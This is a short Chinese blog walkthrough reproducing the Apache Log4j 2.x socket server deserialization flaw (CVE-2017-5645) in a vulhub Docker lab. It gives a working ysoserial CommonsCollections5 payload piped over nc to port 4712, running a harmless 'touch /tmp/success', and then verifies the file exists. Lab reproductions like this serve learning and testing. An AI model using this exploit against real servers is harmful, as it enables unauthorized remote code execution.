vulhub中Apache Log4j Server 反序列化命令执行漏洞复现(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

1.我们使用ysoserial生成payload,然后直接发送给`your-ip:4712`端口即可。

复制代码
java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712

工具地址 https://github.com/frohoff/ysoserial

需要注意JDK版本的问题 https://github.com/frohoff/ysoserial/issues/203

2.然后执行`docker compose exec log4j bash`进入容器,可见 /tmp/success 已成功创建:

相关推荐
脑电信号要分类18 小时前
将多张图片拼接成一个pdf文件输出
pdf·c#·apache
dreamxian19 小时前
苍穹外卖day09
java·spring boot·tomcat·log4j·maven
不是书本的小明1 天前
Apache vs Nginx vs Tomcat 核心区别与优化
nginx·tomcat·apache
Suchadar3 天前
源码编译Apache
apache
大黄说说3 天前
测试金字塔的实战演进:单元测试、集成测试与系统测试的深度解析与高效落地
log4j
Code_LT3 天前
【AIGC】Claude Code 模型配置详解
log4j·aigc
Welcome_Back3 天前
SpringBoot后端开发测试全指南
spring boot·后端·log4j
一字白首3 天前
小程序组件化进阶:从复用到通信的完整指南DAY04
前端·小程序·apache
专注_每天进步一点点4 天前
mysql-connector-j(8.0 及以上版本,包括你使用的 8.3.0)并非采用 GPL 许可证,因此你在项目中引入该依赖时,不需要遵循 GPL 的开源要求(比如开源你的整个项目)
数据库·mysql·apache
不爱学英文的码字机器4 天前
Apache RocketMQ+cpolar 让消息服务全网可达
apache·rocketmq